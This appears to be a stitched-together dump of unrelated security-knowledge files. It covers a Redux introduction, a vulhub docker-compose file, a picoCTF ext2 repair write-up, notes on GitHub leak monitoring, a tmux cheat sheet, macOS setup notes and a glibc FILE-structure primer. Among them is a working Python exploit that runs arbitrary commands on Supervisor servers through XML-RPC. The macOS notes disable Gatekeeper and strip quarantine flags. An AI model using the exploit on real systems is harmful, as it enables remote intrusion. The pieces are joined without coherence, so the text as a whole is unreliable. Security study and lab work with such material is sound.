Redux 是 Facebook 的 Flux 架构的一种简化实现。
(Redux 既是一个表示 “已返回” 的英文单词,也是 reducer + flux 的混合词。)
Flux 在本质上采用了模型-视图-控制器 (MVC) 的结构,但引入了很高的复杂性。
Redux 从 Elm 借用了缩减程序 (reducer) 的概念来降低了这一复杂性,
Elm 是一个基于不可变数据结构和纯函数的强大的反应式函数编程语言。
纯函数是没有副作用的函数,Redux 缩减程序是计算应用程序状态的纯函数。
### Redux 有 3 条原则:
- 应用中所有的`state`都以一个对象树的形式储存在一个单一的`store`中。
- 惟一改变`state`的办法是触发`action`,一个描述发生什么的对象。
- 为了描述`action`如何改变`state`树,你需要编写`reducers`。
### Redux 是数据流管理工具。使用 Redux 的最重要的一句话:
> 一切数据都要保存的 Store 之中,组件自己不保留自己的 state 数据
后续我们会学的一切的技巧基本服务于一个关系:**组件和 Store 的关系**
### 参考
- 官网:[点击进入](http://redux.js.org/)
- 中文官网:[点击进入](http://www.redux.org.cn/index.html)
- 阮一峰Redux:[点击进入](http://www.redux.org.cn/index.html)
|
sec-knowleage
|
version: '2'
services:
electron:
image: vulhub/electron:wine
command: bash /docker-entrypoint.sh
volumes:
- ./src:/project
- ./build:/build
- ./docker-entrypoint.sh:/docker-entrypoint.sh
web:
image: nginx:1
volumes:
- ./build:/usr/share/nginx/html
ports:
- "8080:80"
|
sec-knowleage
|
#!/usr/bin/env python3
import xmlrpc.client
import sys
target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
old = getattr(proxy, 'supervisor.readLog')(0,0)
logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
result = getattr(proxy, 'supervisor.readLog')(0,0)
print(result[len(old):])
|
sec-knowleage
|
from array import array
key = [61, 251, 230, 205, 222, 131, 222, 225, 240, 218, 160, 165, 78, 144, 102, 187]
aes_sbox = array('B',
'637c777bf26b6fc53001672bfed7ab76'
'ca82c97dfa5947f0add4a2af9ca472c0'
'b7fd9326363ff7cc34a5e5f171d83115'
'04c723c31896059a071280e2eb27b275'
'09832c1a1b6e5aa0523bd6b329e32f84'
'53d100ed20fcb15b6acbbe394a4c58cf'
'd0efaafb434d338545f9027f503c9fa8'
'51a3408f929d38f5bcb6da2110fff3d2'
'cd0c13ec5f974417c4a77e3d645d1973'
'60814fdc222a908846eeb814de5e0bdb'
'e0323a0a4906245cc2d3ac629195e479'
'e7c8376d8dd54ea96c56f4ea657aae08'
'ba78252e1ca6b4c6e8dd741f4bbd8b8a'
'703eb5664803f60e613557b986c11d9e'
'e1f8981169d98e949b1e87e9ce5528df'
'8ca1890dbfe6426841992d0fb054bb16'.decode('hex')
)
aes_Rcon = array('B',
'8d01020408102040801b366cd8ab4d9a'
'2f5ebc63c697356ad4b37dfaefc59139'
'72e4d3bd61c29f254a943366cc831d3a'
'74e8cb8d01020408102040801b366cd8'
'ab4d9a2f5ebc63c697356ad4b37dfaef'
'c5913972e4d3bd61c29f254a943366cc'
'831d3a74e8cb8d01020408102040801b'
'366cd8ab4d9a2f5ebc63c697356ad4b3'
'7dfaefc5913972e4d3bd61c29f254a94'
'3366cc831d3a74e8cb8d010204081020'
'40801b366cd8ab4d9a2f5ebc63c69735'
'6ad4b37dfaefc5913972e4d3bd61c29f'
'254a943366cc831d3a74e8cb8d010204'
'08102040801b366cd8ab4d9a2f5ebc63'
'c697356ad4b37dfaefc5913972e4d3bd'
'61c29f254a943366cc831d3a74e8cb'.decode('hex')
)
key_size = 16
rounds = 10
block_size = 16
extra_cnt = 0
invexkey = array('B', key)
# 4-byte temporary variable for key expansion
word = invexkey[-4:]
temp = []
# Each expansion cycle uses 'i' once for Rcon table lookup
for i in xrange(1, 0, -1):
for z in xrange(3):
for j in xrange(4):
# unmix the bytes from the last subkey
word[j] ^= invexkey[j - (z+2)*4]
temp[:0] = word
word = invexkey[-(z+2)*4:-(z+1)*4]
word = temp[-4:]
#### key schedule core:
# left-rotate by 1 byte
word = word[1:4] + word[0:1]
# apply S-box to all bytes
for j in xrange(4):
word[j] = aes_sbox[word[j]]
# apply the Rcon table to the leftmost byte
word[0] = word[0] ^ aes_Rcon[i]
#### end key schedule core
for j in xrange(4):
# unmix the bytes from the last subkey
word[j] ^= invexkey[-key_size + j]
temp[:0] = word
invexkey.extend(temp)
temp = []
word = invexkey[-4:]
# Last key expansion cycle always finishes here
if len(invexkey) >= (rounds+1) * block_size:
break
inv = invexkey[16:]
inv = [chr(c) for c in inv]
print "FINAL FLAG:", "".join(inv).encode("hex")
|
sec-knowleage
|
from django.db import models
class User(models.Model):
username = models.CharField('Username', unique=True, max_length=32)
|
sec-knowleage
|
# GitHub信息泄漏监控
为什么要监控GitHub,因为随着企业发展,各个团队信息安全意识不到位,可能导致涉及公司的敏感信息被上传到GitHub,主要包括:公司业务代码信息、服务器账号密码或私钥信息、内部核心资料(员工信息、项目文档)等等。
GitHub监控只是一个辅助手段,不要过分依赖监控平台,因为GitHub监控需要人员参与处理,所以会存在漏报的情况。**我们需要做到从制度管控到员工安全意识培训等多方面来提高整体安全水平。**
## 监控模式
### 通过API进行监控
token有查询频次限制。
[API文档](https://developer.github.com/v3/search/#search-code)
### 通过爬虫进行监控
GitHub存在反爬机制,针对频次太快的IP与UA维度(这个是很早之前测试发现的,现在的策略可能发生了变化)。
应对反爬机制:
```
降低请求的时间间隔:5s/请求基本就不会被拉黑;
使用IP代理池,需要考虑代理池的稳定性与代理池IP能在被拉黑后快速切换;
```
## GitHub监控规则
### 关键字匹配模式
* 精准匹配:"keyword",使用双引号把关键字引起来;
* 模糊匹配:keyword,常用于多个关键字联合搜索,如:domain password;
备注:模糊匹配经常会出现匹配出海量结果的情况;
### 优化匹配规则
* 是否应该选择排除不属于公司的开发语言:否,研发可能自己使用其它语言编写代码;
* 文件后缀名排除:排除gif、png、jpg等类似的后缀名文件;
* commit内容爬取:调用API进行监控就可以获取信息;
### 加白操作
* 加白某个用户:比如一些白帽子的项目中会有很多关于公司的关键字,可以考虑加白这个人;
* 加白项目:加白项目的时候需要考虑如果项目被fork以后,我们如果标记那些被fork的项目;
### 前端展示
我思考的最优方案:通过项目来展示,一个项目中有多少可疑的URL,每个URL展示命中关键字的部分,这样方便运营人员在处理是进行加白。
## 几个思考
### 确认的GitHub应该如何处理
* GitHub可以追溯到人,直接联系到人进行删除;
* 不能追溯到人,GitHub支持给官网发送邮件,联系GitHub进行删除;但是GitHub会公开他们处理的结果,所以如果真的由于不能追溯到人泄漏,赶紧想办法做其它处理吧;如:泄漏代码,通过能接触到这些代码的人进行查询;泄漏的是账号密码,可以反查能接触账号密码的人,也可以直接修改密码;(主要还是需要从制度与安全意识出发)
[GitHub链接](https://help.github.com/articles/dmca-takedown-policy)
[GitHub公布处理结果](https://github.com/github/dmca)
### 如何构建分布式监控
### 科技型企业支撑集团如何考虑不同公司的用户权限控制
## 开源GitHub监控
* [gsil](https://github.com/FeeiCN/GSIL) 美联开源
* [x-patrol](https://github.com/MiSecurity/x-patrol) 小米开源
* [Hawkeye](https://github.com/0xbug/Hawkeye)
* [Github-Monitor](https://github.com/VKSRC/Github-Monitor) VIPKID SRC开源
### 开源优缺点对比
开源的产品都是基于两种监控模式重复造的轮子,每个人都有自己的习惯,所有对于每个人优缺点都不一样;
对比项 | gsil | x-patrol | GitHub-Monitr
--- | --- | --- | ---
监控模式 | API模式 | API模式 | API模式
开发语言 | python | go | python
docker支持 | 不支持 | 不支持 | 支持
|
sec-knowleage
|
# Ext Super Magic
Forensics, 250 points
## Description:
> We salvaged a ruined Ext SuperMagic II-class mech recently and pulled the filesystem out of the black box. It looks a bit corrupted, but maybe there's something interesting in there.
Attached was a binary file.
### Hints:
* Are there any [tools](https://en.wikipedia.org/wiki/Fsck) for diagnosing corrupted filesystems? What do they say if you run them on this one?
* How does a linux machine know what [type](https://www.garykessler.net/library/file_sigs.html) of file a [file](https://linux.die.net/man/1/file) is?
* You might find this [doc](http://www.nongnu.org/ext2-doc/ext2.html) helpful.
* Be careful with [endianness](https://en.wikipedia.org/wiki/Endianness) when making edits.
* Once you've fixed the corruption, you can use /sbin/[debugfs](https://linux.die.net/man/8/debugfs) to pull the flag file out.
## Solution:
The first thing to do is to run `file` on the binary and see if it can identify what we have:
```console
root@kali:/media/sf_CTFs/pico/Ext_Super_Magic/v2# file ext-super-magic.img
ext-super-magic.img: data
```
Not very helpful.
How about `foremost`?
```console
root@kali:/media/sf_CTFs/pico/Ext_Super_Magic/v2# foremost ext-super-magic.img
Processing: ext-super-magic.img
|*|
root@kali:/media/sf_CTFs/pico/Ext_Super_Magic/v2# ls output/jpg/
00001026.jpg 00002234.jpg 00002522.jpg 00002734.jpg 00003038.jpg 00003392.jpg 00003792.jpg 00004230.jpg 00004580.jpg 00008630.jpg
00001944.jpg 00002252.jpg 00002594.jpg 00002778.jpg 00003060.jpg 00003410.jpg 00003880.jpg 00004438.jpg 00005360.jpg 00008670.jpg
00002068.jpg 00002376.jpg 00002678.jpg 00002810.jpg 00003084.jpg 00003678.jpg 00004044.jpg 00004478.jpg 00005730.jpg 00008938.jpg
00002222.jpg 00002502.jpg 00002692.jpg 00002916.jpg 00003276.jpg 00003702.jpg 00004104.jpg 00004536.jpg 00008196.jpg 00009054.jpg
```
Foremost is able to extract a few JPEGs, but they are all corrupted.
After trying out a few things, I hit a wall and checked the hints.
The first hint directs us to run `Fsck`:
```console
root@kali:/media/sf_CTFs/pico/Ext_Super_Magic/v2# fsck ext-super-magic.img
fsck from util-linux 2.31.1
Usage: fsck.ext4 [-panyrcdfktvDFV] [-b superblock] [-B blocksize]
[-l|-L bad_blocks_file] [-C fd] [-j external_journal]
[-E extended-options] [-z undo_file] device
```
The third hint sent us to the ext2 specs, so I called `fsck.ext2`:
```console
root@kali:/media/sf_CTFs/pico/Ext_Super_Magic/v2# fsck.ext2 ./ext-super-magic.img
e2fsck 1.44.1 (24-Mar-2018)
ext2fs_open2: Bad magic number in super-block
fsck.ext2: Superblock invalid, trying backup blocks...
fsck.ext2: Bad magic number in super-block while trying to open ./ext-super-magic.img
The superblock could not be read or does not describe a valid ext2/ext3/ext4
filesystem. If the device is valid and it really contains an ext2/ext3/ext4
filesystem (and not swap or ufs or something else), then the superblock
is corrupt, and you might try running e2fsck with an alternate superblock:
e2fsck -b 8193 <device>
or
e2fsck -b 32768 <device>
```
According to the tool, the "super block" is corrupted. The tool suggest trying some alternative superblocks but they don't work:
```console
root@kali:/media/sf_CTFs/pico/Ext_Super_Magic/v2# fsck.ext2 -b 8193 ./ext-super-magic.img
e2fsck 1.44.1 (24-Mar-2018)
fsck.ext2: Attempt to read block from filesystem resulted in short read while trying to open ./ext-super-magic.img
Could this be a zero-length partition?
root@kali:/media/sf_CTFs/pico/Ext_Super_Magic/v2# fsck.ext2 -b 32768 ./ext-super-magic.img
e2fsck 1.44.1 (24-Mar-2018)
fsck.ext2: Attempt to read block from filesystem resulted in short read while trying to open ./ext-super-magic.img
Could this be a zero-length partition?
```
What's a superblock?
According to the [specs](http://www.nongnu.org/ext2-doc/ext2.html#SUPERBLOCK):
> The superblock is always located at byte offset 1024 from the beginning of the file, block device or partition formatted with Ext2 and later variants (Ext3, Ext4).
Let's try to visualize the EXT2 filesystem with [kaitai](http://formats.kaitai.io/):
```console
root@kali:/media/sf_CTFs/pico/Ext_Super_Magic/v2# ksv ext-super-magic.img ~/utils/kaitai_struct_formats/filesystem/ext2.ksy
```
When trying to browse the structure with kaitai, an error is displayed:
```
Unexpected fixed contents: got 00 00, was waiting for 53 ef
```
Searching for this constant in the [specs](http://www.nongnu.org/ext2-doc/ext2.html#S-MAGIC), we find the following:
> 3.1.16. s_magic
>
> 16bit value identifying the file system as Ext2. The value is currently fixed to EXT2_SUPER_MAGIC of value 0xEF53.
s_magic appears in table 3-3 (SuperBlock Structure):
```
Offset (bytes) Size (bytes) Description
56 2 s_magic
```
So at offset 1024 + 56, we should find the value of 0xef53, but instead we have 0x0000. Let's patch the file with `dd`:
```console
root@kali:/media/sf_CTFs/pico/Ext_Super_Magic/v2# xxd -s $((1024+56)) -l 16 ext-super-magic.img
00000438: 0000 0100 0100 0000 74dc ad5b 0000 0000 ........t..[....
root@kali:/media/sf_CTFs/pico/Ext_Super_Magic/v2# cp ext-super-magic.img ext-super-magic.old
root@kali:/media/sf_CTFs/pico/Ext_Super_Magic/v2# printf '\x53\xef' | dd conv=notrunc of=ext-super-magic.img bs=1 seek=$((1024+56))
2+0 records in
2+0 records out
2 bytes copied, 0.00398822 s, 0.5 kB/s
root@kali:/media/sf_CTFs/pico/Ext_Super_Magic/v2# xxd -s $((1024+56)) -l 16 ext-super-magic.img
00000438: 53ef 0100 0100 0000 74dc ad5b 0000 0000 S.......t..[....
root@kali:/media/sf_CTFs/pico/Ext_Super_Magic/v2# file ext-super-magic.img
ext-super-magic.img: Linux rev 1.0 ext2 filesystem data, UUID=aa043d2f-4828-4073-8dfe-f13acc388fdc (large files)
root@kali:/media/sf_CTFs/pico/Ext_Super_Magic/v2#
```
Now we can use `debugfs` to extract the file:
```console
root@kali:/media/sf_CTFs/pico/Ext_Super_Magic/v2# debugfs ext-super-magic.img
debugfs 1.44.1 (24-Mar-2018)
debugfs: ls
2 (12) . 2 (1012) .. 26 (24) filler-348.jpg
84 (24) filler-303.jpg 103 (24) filler-18.jpg
107 (24) filler-434.jpg 169 (20) filler-6.jpg 182 (16) flag.jpg
183 (24) filler-47.jpg 187 (24) filler-326.jpg
188 (24) filler-290.jpg 191 (24) filler-118.jpg
194 (24) filler-246.jpg 198 (24) filler-112.jpg
201 (24) filler-140.jpg 212 (24) filler-41.jpg
214 (24) filler-232.jpg 229 (24) filler-90.jpg
[...]
debugfs: dump flag.jpg flag.jpg
debugfs: q
```
The JPEG file is not corrupted anymore:

The flag: picoCTF{a7DB29eCf7dB9960f0A19Fdde9d00Af0}
|
sec-knowleage
|
---
title: Tmux
date: 2021-02-20 14:31:24
background: bg-emerald-600
tags:
- utility
- terminal
- session
categories:
- Linux Command
intro: |
The tmux cheat sheet quick reference of most commonly used shortcuts and commands
plugins:
- copyCode
---
Tmux CLI
-------
### New session {.row-span-2}
Start a new session
```shell script
$ tmux
```
Start a new named session
```shell script
$ tmux new -s myname
```
Show all sessions
```shell script
$ tmux ls
```
### Attach session
Attach to last session
```shell script
$ tmux a
```
Attach to named
```shell script
$ tmux a -t myname
```
### Kill session {.row-span-2}
Kill a session by name
```shell script
$ tmux kill-ses -t myname
```
Kill sessions but the current
```shell script
$ tmux kill-ses -a
```
Kill sessions but 'myname'
```shell script
$ tmux kill-ses -a -t myname
```
### Tmux help
```shell script
$ tmux info
```
### Config
Reload config
```shell script
$ tmux source-file ~/.tmux.conf
```
Show config
```shell script
$ tmux show-options -g
```
### Copy Mode
| Command | Description |
|--------------|----------------------------|
| `Ctrl+b` `[` | Enter copy mode |
| `<Space>` | Start selection |
| `Enter` | Copy selection |
| `q` | Quit copy mode |
| `Ctrl+b` `]` | Paste contents of buffer_0 |
{.shortcuts}
Mainly works like selecting text in [Vim](/vim#motions)
Tmux shortcuts
--------------
### Getting started {.secondary}
| Shortcuts | Description |
|--------------|--------------------|
| `Ctrl+b` `?` | List all shortcuts |
{.shortcuts .show-header}
<br/>
----
Show every session, window, pane, etc.
```shell script
$ tmux info
```
### Panes (Splits) {.row-span-2}
| Shortcuts | Description |
|------------------------|--------------------|
| `Ctrl+b` `"` _/_ `%` | Split Horiz/Vert |
| `Ctrl+b` `!` | Pane -> Window |
| `Ctrl+b` `x` | Kill pane |
| `Ctrl+b` <Arrow\> | Navigate panes |
| `Ctrl+b` <Space\> | Toggle layouts |
| `Ctrl+b` `{` _/_ `}` | Move to Left/Right |
| `Ctrl+b` `o` | Goto next panes |
| `Ctrl+b` `z` | toggle full-screen |
| `Ctrl+b` `;` | Toggle Last pane |
| `Ctrl+b` `q` | Show numbers |
| `Ctrl+b` `q` `0`...`9` | Goto # pane |
{.shortcuts}
### Window (Tabs) {.row-span-2}
| - | - |
|----------------------|----------------------|
| `Ctrl+b` `c` | Create window |
| `Ctrl+b` `p` _/_ `n` | Previous/Next window |
| `Ctrl+b` `"` _/_ `%` | Split Horiz/Vert |
| `Ctrl+b` `w` | List window |
| `Ctrl+b` `,` | Rename window |
| `Ctrl+b` `f` | Find window |
| `Ctrl+b` `l` | Last window |
| `Ctrl+b` `.` | Move window |
| `Ctrl+b` `&` | Close window |
| `Ctrl+b` `0`...`9` | Goto # window |
{.shortcuts}
### Session (Set of Windows)
| - | - |
|----------------------|--------------------------------|
| `Ctrl+b` `d` | <red>Detach from session</red> |
| `Ctrl+b` `s` | Show all sessions |
| `Ctrl+b` `$` | Rename session |
| `Ctrl+b` `(` _/_ `)` | Previous/Next session |
{.shortcuts}
Tmux Command Mode
-----------
### Usage {.secondary}
| Command | Description |
|--------------|--------------------|
| `Ctrl+b` `:` | Enter command mode |
{.shortcuts}
### Resizing
| Command | Description |
|---------------------|--------------|
| `resize-pane -D 20` | Resize down |
| `resize-pane -U 20` | Resize up |
| `resize-pane -L 20` | Resize left |
| `resize-pane -R 20` | Resize right |
### Listing
| Command | Description |
|----------------|--------------|
| `list-keys` | All commands |
| `list-panes` | All panes |
| `list-windows` | All Windows |
### Copying
| Command | Description |
|----------------------|------------------|
| `list-buffers` | List all buffers |
| `show-buffer` | Show #0 contents |
| `capture-pane` | Copy of pane |
| `choose-buffer` | Show and paste |
| `save-buffer a.txt` | Save to file |
| `delete-buffer -b 1` | Delete buffer 1 |
### Setting
| Command | Description |
|-----------------------|-----------------------|
`set -g OPTION` | Set for all sessions
`setw -g OPTION` | Set for all windows
`setw -g mode-keys vi` | Enable vi-mode
`set -g prefix C-a` | Set prefix
### Misc
| Command | Description |
|--------------------------|--------------|
| `swap-pane -s 3 -t 1` | Swap pane |
| `swap-window -t -1` | Move to left |
| `setw synchronize-panes` | Sync Panes |
| `join-pane -t :#` | Join pane |
|
sec-knowleage
|
# Mac-Plan
---
## 快捷键
- 锁屏 : Control + Command + Q
- 截图 : Shift + Command + 5
- 刷新 : Command + R
- 行首 : Command + 左键
- 行末 : Command + 右键
- 输入Emoji 表情和颜文字 : Control + Command + space
---
## 启动项
```bash
ls /Library/LaunchAgents
```
---
## 代理
```bash
# 请根据自己的代理软件进行调整!!!!
export https_proxy=http://127.0.0.1:7890;export http_proxy=http://127.0.0.1:7890;export all_proxy=socks5://127.0.0.1:7890
```
---
## 权限
由于 macOS 默认情况下只允许运行可信任签名的应用,如果 macOS 阻止运行该软件,请打开 macOS 终端,在新建的终端 Shell 中输入:
```bash
sudo spctl --master-disable
```
由于调用了sudo权限,你可能需要输入密码,会输出如下提示:
```
Password:
```
此时你需要输入密码,在 Shell 中输入的密码是不可见的,输入完毕后请按回车键。
---
针对 "已损坏" 的解决办法
苹果系统有一个 GateKeeper 保护机制。
从互联网上下载来的文件,会被自动打上 com.apple.quarantine 标志,我们可以理解为 "免疫隔离"。
系统根据这个附加属性对这个文件作出限制。
随着版本不同,MacOS 对 com.apple.quarantine 的限制越来越严格,在较新 的 MacOS 中,会直接提示 "映像损坏" 或 "应用损坏" 这类很激进的策略。
我们可以通过手动移除该选项来解决此问题。
```
sudo xattr -r -d com.apple.quarantine /Applications/xxxxxxxx.app
```
---
解锁文件夹
```
chflags -R nouchg *
```
---
## 优化
**减少程序坞的响应时间**
```bash
# 设置启动坞动画时间设置为 0.5 秒
defaults write com.apple.dock autohide-time-modifier -float 0.5 && killall Dock
# 设置启动坞响应时间最短
defaults write com.apple.dock autohide-delay -int 0 && killall Dock
# 恢复启动坞默认动画时间
defaults delete com.apple.dock autohide-time-modifier && killall Dock
# 恢复默认启动坞响应时间
defaults delete com.apple.Dock autohide-delay && killall Dock
```
**左右光标移动速度**
系统偏好设置 -> 键盘 -> 键盘
- 按键重复:对应的是移动速度;
- 重复前延迟:对应的是移动前的反应时间。
**mac 下 sudo 用 touchid 代替密码输入**
```
sudo vim /etc/pam.d/sudo
在第二行添加
auth sufficient pam_tid.so
```
保存的时候可能要用 `:wq!`
来自文章: https://sixcolors.com/post/2020/11/quick-tip-enable-touch-id-for-sudo/
---
## 软件
**Rosetta 2**
```
softwareupdate --install-rosetta
```
**chrome**
- https://www.google.com/chrome/
**clash**
- https://github.com/Fndroid/clash_for_windows_pkg/releases
**homebrew**
- https://brew.sh/index_zh-cn
- https://gitee.com/cunkai/HomebrewCN
```bash
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
echo 'eval "$(/opt/homebrew/bin/brew shellenv)"' >> /Users/f0x/.zprofile
eval "$(/opt/homebrew/bin/brew shellenv)"
```
然后使用 `brew install xxx` 就可以安装应用了,也可以使用 `brew uninstall xxx` 卸载软件
**nodejs**
```bash
brew install nodejs
# 按需给权限,可以不用这条
sudo chmod -R 777 /usr/local/lib/node_modules/
```
**git**
```bash
brew install git
```
**ffmpeg**
```bash
brew install ffmpeg
```
**motrix**
- https://github.com/agalwood/Motrix
```bash
brew update && brew install --cask motrix
```
**腾讯柠檬清理**
- https://lemon.qq.com/
**snipaste**
- https://zh.snipaste.com/
**tabby**
- https://github.com/Eugeny/tabby
**wgestures2**
- https://www.yingdev.com/projects/wgestures2#
**vlc**
- https://www.videolan.org/index.zh.html
**edge**
- https://www.microsoft.com/en-us/edge
**Alfred**
- https://www.alfredapp.com/
**code-server**
- https://github.com/coder/code-server
```bash
brew install code-server
brew services start code-server
# Now visit http://127.0.0.1:8080. Your password is in ~/.config/code-server/config.yaml
```
**python**
默认自带 python2 和 python3
**java**
- https://oracle.com/java/technologies/downloads/#java8-mac
- https://www.azul.com/downloads/?os=macos&architecture=arm-64-bit
**javafx**
- https://openjfx.io/
- https://openjfx.cn/dl/
```
export PATH_TO_FX=/Library/Java/JavaVirtualMachines/jdk-17.0.2.jdk/javafx-sdk-17.0.2/lib
```
**go**
```
brew install go
```
**php**
先查询有哪些 php 的版本,M1 目前只支持部分版本
```bash
brew search php
```
这里我安装 php7.3,参考 stackoverflow 的回答 https://stackoverflow.com/questions/70417377/error-php7-3-has-been-disabled-because-it-is-a-versioned-formula
```bash
brew tap shivammathur/php
brew install shivammathur/php/php@7.3
```
安装完毕后应该就可以在 `/opt/homebrew/etc/php/7.3/` 目录下看到 php 了
运行以下命令加入到环境变量中
```
echo 'export PATH="/opt/homebrew/opt/php@7.3/bin:$PATH"' >> ~/.zshrc
echo 'export PATH="/opt/homebrew/opt/php@7.3/sbin:$PATH"' >> ~/.zshrc
```
`brew info php` 可以查看我们安装的 php 信息
**jenv**
- https://github.com/jenv/jenv
```bash
brew install jenv
echo 'export PATH="$HOME/.jenv/bin:$PATH"' >> ~/.zshrc
echo 'eval "$(jenv init -)"' >> ~/.zshrc
# 根据自己安装的版本添加
# jenv add /Library/Java/JavaVirtualMachines/zulu-8.jdk/Contents/Home
# jenv add /Library/Java/JavaVirtualMachines/zulu-11.jdk/Contents/Home
# jenv add /Library/Java/JavaVirtualMachines/jdk1.8.0_351.jdk/Contents/Home
# jenv add /Library/Java/JavaVirtualMachines/jdk-11.0.14.jdk/Contents/Home
# jenv add /Library/Java/JavaVirtualMachines/jdk-17.0.2.jdk/Contents/Home
jenv versions
# jenv global 1.8
# jenv local 1.8
```
**miniforge**
- https://github.com/conda-forge/miniforge
```bash
wget https://github.com/conda-forge/miniforge/releases/latest/download/Miniforge3-MacOSX-arm64.sh
mv Miniforge3-MacOSX-arm64.sh ~/
cd
bash Miniforge3-MacOSX-arm64.sh
```
**pyenv**
```bash
brew install pyenv
pyenv init
# 会提示你修改 ~/.zshrc 文件,复制进去即可
```
**CotEditor**
- https://github.com/coteditor/CotEditor
**nginx**
```
brew install nginx
brew info nginx
```
管理 nginx 运行状态
```bash
# 开启
nginx
# 关闭
nginx -s stop
/opt/homebrew/opt/nginx/bin/nginx -s stop
```
默认 www 目录
```
/opt/homebrew/var/www
```
配置文件所在目录
```
/opt/homebrew/etc/nginx/
```
**cloudflared**
```bash
brew install cloudflared
```
**cmake**
```bash
brew install cmake
```
**ip**
```
brew install iproute2mac
```
**tiles**
- https://freemacsoft.net/tiles/
**alt-tab-macos**
- https://github.com/lwouis/alt-tab-macos
**espanso**
- https://github.com/espanso/espanso
- https://espanso.org/docs/get-started/
```
espanso path
```
---
## 一些依赖
**libpq.5.dylib**
搜索发现这个应该是 postgresql 相关功能依赖的文件
一种方法是直接安装 postgresql,不过我测试了没成功
```bash
brew install postgresql
```
我在本地用 fzf 搜索发现 System/Volumes/Data/opt/homebrew/lib/libpq.5.dylib 路径有这个文件,那么复制一个好了,建立个软连接也行
```bash
mkdir -p /usr/local/lib/
sudo cp /System/Volumes/Data/opt/homebrew/lib/libpq.5.dylib /usr/local/lib/libpq.5.dylib
```
参考
- https://github.com/PostgresApp/PostgresApp/issues/83
- https://blog.csdn.net/yutianyue126/article/details/106911948
**libssl.1.1.dylib**
```
brew install openssl@1.1
sudo cp /opt/homebrew/opt/openssl@1.1/lib/libssl.1.1.dylib /usr/local/lib/libssl.1.1.dylib
```
参考
- https://www.v2ex.com/t/666738
- https://pavcreations.com/dyld-library-not-loaded-libssl-1-1-dylib-fix-on-macos/
- https://stackoverflow.com/questions/59006602/dyld-library-not-loaded-usr-local-opt-openssl-lib-libssl-1-0-0-dylib
**libcrypto.1.1.dylib**
```
brew install openssl@1.1
sudo cp /opt/homebrew/opt/openssl@1.1/lib/libcrypto.1.1.dylib /usr/local/lib/libcrypto.1.1.dylib
```
**xcrun: error: invalid active developer path**
```
xcode-select --install
```
---
## 环境变量
和 linux 是一样的,比如装 maven ,下载解压放到 Library 下,添加环境变量
```
export maven_HOME=/Library/apache-maven-3.8.4
export PATH=$PATH:$maven_HOME/bin
```
可以长期修改
```diff
vim ~/.zshrc
++ export maven_HOME=/Library/apache-maven-3.8.4
++ export PATH=$PATH:$maven_HOME/bin
source ~/.zshrc
mvn -v
```
|
sec-knowleage
|
# FILE结构
## FILE介绍
FILE在Linux系统的标准IO库中是用于描述文件的结构,称为文件流。
FILE结构在程序执行fopen等函数时会进行创建,并分配在堆中。我们常定义一个指向FILE结构的指针来接收这个返回值。
FILE结构定义在libio.h中,如下所示
```c
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
```
进程中的FILE结构会通过_chain域彼此连接形成一个链表,链表头部用全局变量_IO_list_all表示,通过这个值我们可以遍历所有的FILE结构。
在标准I/O库中,每个程序启动时有三个文件流是自动打开的:stdin、stdout、stderr。因此在初始状态下,_IO_list_all指向了一个有这些文件流构成的链表,但是需要注意的是这三个文件流位于libc.so的数据段。而我们使用fopen创建的文件流是分配在堆内存上的。
我们可以在libc.so中找到stdin\stdout\stderr等符号,这些符号是指向FILE结构的指针,真正结构的符号是
```
_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_
```
但是事实上_IO_FILE结构外包裹着另一种结构_IO_FILE_plus,其中包含了一个重要的指针vtable指向了一系列函数指针。
在libc2.23版本下,32位的vtable偏移为0x94,64位偏移为0xd8
```
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
```
vtable是IO_jump_t类型的指针,IO_jump_t中保存了一些函数指针,在后面我们会看到在一系列标准IO函数中会调用这些函数指针
```
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail
8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};
```
## fread
fread是标准IO库函数,作用是从文件流中读数据,函数原型如下
```
